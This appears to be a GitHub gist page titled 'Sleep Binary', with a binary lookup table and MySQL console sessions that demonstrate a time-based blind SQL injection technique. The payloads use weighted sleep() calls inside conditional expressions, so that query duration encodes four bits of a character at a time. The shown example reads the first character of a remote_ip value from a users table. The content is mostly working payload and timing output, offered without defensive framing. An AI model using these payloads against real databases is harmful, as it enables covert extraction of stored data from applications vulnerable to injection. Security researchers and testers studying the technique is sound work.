Skip to content

Instantly share code, notes, and snippets.

@makelariss
Last active June 10, 2020 17:07
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save makelariss/18d39a54e3fab1e3d1bc5cc2144e54a3 to your computer and use it in GitHub Desktop.
Save makelariss/18d39a54e3fab1e3d1bc5cc2144e54a3 to your computer and use it in GitHub Desktop.
Sleep Binary
15 1111
14 1110
13 1101
12 1100
11 1011
10 1010
9 1001
8 1000
7 0111
6 0110
5 0101
4 0100
3 0011
2 0010
1 0001
0 0000
mysql> SELECT if(1, sleep(1), 1);
(1.00 sec)
mysql> SELECT if(1, sleep(1), 1) + if(0, sleep(1), 1);
(1.01 sec)
mysql> SELECT if(1, sleep(1), 1) + if(0, sleep(1), 1) + if(1, sleep(1), 1);
(2.00 sec)
mysql> set @letter=(insert((select(remote_ip)from(users)),2,99,space(0)));
mysql> select if(ord(@letter)&128=128,sleep(8),0)+if(ord(@letter)&64=64,sleep(4),0)+if(ord(@letter)&32=32,sleep(2),0)+if(ord(@letter)&16=16,sleep(1),0);
(3.00 sec) -> 0011
mysql> select if(ord(@letter)&8=8,sleep(8),0)+if(ord(@letter)&4=4,sleep(4),0)+if(ord(@letter)&2=2,sleep(2),0)+if(ord(@letter)&1=1,sleep(1),0);
(1.00 sec) -> 0001
mysql> select char(cast(0b00110001 as unsigned integer))=@letter;
True
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment